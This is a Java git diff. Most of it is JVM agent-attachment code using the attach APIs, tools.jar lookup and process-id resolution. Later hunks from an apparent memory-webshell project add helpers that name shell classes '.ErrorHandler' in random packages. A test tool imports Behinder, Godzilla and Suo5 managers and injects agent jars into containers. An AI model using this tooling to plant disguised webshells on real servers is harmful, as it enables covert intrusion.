String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines if this accessor is applicable for the currently running JVM.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor is available.
|
||||||
|
*/
|
||||||
|
boolean isAvailable();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*/
|
||||||
|
boolean isExternalAttachmentRequired();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||||
|
*
|
||||||
|
* @return The virtual machine type.
|
||||||
|
*/
|
||||||
|
Class<?> getVirtualMachineType();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a description of a virtual machine class for an external attachment.
|
||||||
|
*
|
||||||
|
* @return A description of the external attachment.
|
||||||
|
*/
|
||||||
|
ExternalAttachment getExternalAttachment();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A canonical implementation of an unavailable accessor.
|
||||||
|
*/
|
||||||
|
enum Unavailable implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Describes an external attachment to a Java virtual machine.
|
||||||
|
*/
|
||||||
|
class ExternalAttachment {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final String virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||||
|
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the fully-qualified binary name of the virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
public String getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public List<File> getClassPath() {
|
||||||
|
return classPath;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor.
|
||||||
|
*/
|
||||||
|
abstract class Simple implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected final Class<?> virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected Simple(Class<?> virtualMachineType) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||||
|
* @param classPath The class path required to load the virtual machine class.
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||||
|
false,
|
||||||
|
classLoader), Arrays.asList(classPath));
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor ofJ9() {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||||
|
Collections.<File>emptyList());
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithExternalAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that allows for external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||||
|
* @param classPath The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithDirectAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that implements direct attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot apply external attachment");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||||
|
* introducing the Java module system via the {@code jdk.attach} module.
|
||||||
|
*/
|
||||||
|
enum ForModularizedVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||||
|
* an IBM J9 VM.
|
||||||
|
*/
|
||||||
|
enum ForJ9Vm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.ofJ9();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||||
|
* file system.
|
||||||
|
*/
|
||||||
|
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||||
|
*/
|
||||||
|
JVM_ROOT("../lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||||
|
* In practice, several virtual machines do not return the JRE's location for the
|
||||||
|
* <i>java.home</i> property against the property's specification.
|
||||||
|
*/
|
||||||
|
JDK_ROOT("lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||||
|
* installations on Apple Macintosh computers.
|
||||||
|
*/
|
||||||
|
MACINTOSH("../Classes/classes.jar");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The Java home system property.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
private final String toolsJarPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||||
|
*
|
||||||
|
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
ForStandardToolsJarVm(String toolsJarPath) {
|
||||||
|
this.toolsJarPath = toolsJarPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||||
|
try {
|
||||||
|
return toolsJar.isFile() && toolsJar.canRead()
|
||||||
|
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||||
|
: Accessor.Unavailable.INSTANCE;
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||||
|
*/
|
||||||
|
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singelton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The property being read for locating {@code tools.jar}.
|
||||||
|
*/
|
||||||
|
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
String location = System.getProperty(PROPERTY);
|
||||||
|
if (location == null) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
} else {
|
||||||
|
File toolsJar = new File(location);
|
||||||
|
try {
|
||||||
|
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||||
|
*/
|
||||||
|
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
try {
|
||||||
|
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||||
|
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||||
|
* non-available accessor is returned.
|
||||||
|
*/
|
||||||
|
class Compound implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
private final List<AttachmentProvider> attachmentProviders;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(AttachmentProvider... attachmentProvider) {
|
||||||
|
this(Arrays.asList(attachmentProvider));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||||
|
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
if (attachmentProvider instanceof Compound) {
|
||||||
|
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||||
|
} else {
|
||||||
|
this.attachmentProviders.add(attachmentProvider);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
Accessor accessor = attachmentProvider.attempt();
|
||||||
|
if (accessor.isAvailable()) {
|
||||||
|
return accessor;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider is responsible for providing the process id of the current VM.
|
||||||
|
*/
|
||||||
|
public interface ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolves a process id for the current JVM.
|
||||||
|
*
|
||||||
|
* @return The resolved process id.
|
||||||
|
*/
|
||||||
|
String resolve();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
enum ForCurrentVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The best process provider for the current VM.
|
||||||
|
*/
|
||||||
|
private final ProcessProvider dispatcher;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a process provider that supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
ForCurrentVm() {
|
||||||
|
dispatcher = ForJava9CapableVm.make();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
return dispatcher.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||||
|
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||||
|
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||||
|
*/
|
||||||
|
protected enum ForLegacyVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
String runtimeName;
|
||||||
|
try {
|
||||||
|
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||||
|
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||||
|
}
|
||||||
|
int processIdIndex = runtimeName.indexOf('@');
|
||||||
|
if (processIdIndex == -1) {
|
||||||
|
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||||
|
} else {
|
||||||
|
return runtimeName.substring(0, processIdIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||||
|
*/
|
||||||
|
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||||
|
* if this is not possible.
|
||||||
|
*
|
||||||
|
* @return A dispatcher for the current VM.
|
||||||
|
*/
|
||||||
|
public static ProcessProvider make() {
|
||||||
|
try {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return ForLegacyVm.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString();
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||||
|
*/
|
||||||
|
protected interface AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Provides an agent jar file for attachment.
|
||||||
|
*
|
||||||
|
* @return The provided agent.
|
||||||
|
* @throws IOException If the agent cannot be written to disk.
|
||||||
|
*/
|
||||||
|
File resolve() throws IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||||
|
*/
|
||||||
|
class ForExistingAgent implements AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The supplied agent.
|
||||||
|
*/
|
||||||
|
private final File agent;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an agent provider for an existing agent.
|
||||||
|
*
|
||||||
|
* @param agent The supplied agent.
|
||||||
|
*/
|
||||||
|
protected ForExistingAgent(File agent) {
|
||||||
|
this.agent = agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public File resolve() {
|
||||||
|
return agent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||||
|
*/
|
||||||
|
protected interface AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if the current VM requires external attachment for the supplied process id.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the process to which to attach.
|
||||||
|
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||||
|
*/
|
||||||
|
boolean requiresExternalAttachment(String processId);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An installation action for creating an attachment type evaluator.
|
||||||
|
*/
|
||||||
|
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||||
|
*/
|
||||||
|
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public AttachmentTypeEvaluator run() {
|
||||||
|
try {
|
||||||
|
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
} else {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that never requires external attachment.
|
||||||
|
*/
|
||||||
|
enum Disabled implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that checks a process id against the current process id.
|
||||||
|
*/
|
||||||
|
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment type evaluator.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2888
File diff suppressed because it is too large
Load Diff
@@ -91,6 +91,10 @@ public class CommonUtil {
|
|||||||
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getPackageName(String className) {
|
||||||
|
return className.substring(0, className.lastIndexOf("."));
|
||||||
|
}
|
||||||
|
|
||||||
public static String generateShellClassName() {
|
public static String generateShellClassName() {
|
||||||
return getRandomPackageName() + ".ErrorHandler";
|
return getRandomPackageName() + ".ErrorHandler";
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
+25
-2
@@ -5,6 +5,8 @@ import com.reajason.javaweb.behinder.BehinderManager;
|
|||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -16,6 +18,7 @@ import okhttp3.Request;
|
|||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
import org.java_websocket.client.WebSocketClient;
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
import org.java_websocket.handshake.ServerHandshake;
|
||||||
|
import org.testcontainers.containers.Container;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
@@ -92,13 +95,12 @@ public class ShellAssertionTool {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
if (packer.getInstance() instanceof JarPacker) {
|
if (packer.getInstance() instanceof AgentJarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
Files.write(tempJar, bytes);
|
Files.write(tempJar, bytes);
|
||||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
